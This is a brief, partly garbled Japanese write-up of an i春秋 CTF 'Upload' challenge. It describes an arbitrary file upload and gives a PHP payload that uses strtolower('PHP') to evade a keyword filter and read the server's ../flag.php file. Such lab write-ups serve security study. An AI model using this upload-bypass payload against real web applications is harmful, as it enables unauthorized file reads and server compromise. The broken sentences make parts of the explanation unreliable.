i春秋CTF Upload
689 ワード
ぶんせきは任意のファイルをアップロードすることができ、アップロード後にファイルを開くことができ(ソースコードにはリンク を発見ソースコードの表示:
/u/xx.php
がある)、phpコードをアップロードしてflagを開くことを考えている.phpページ:php
しかし , php :
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
echo 'here_is_flag';
'flag{###}';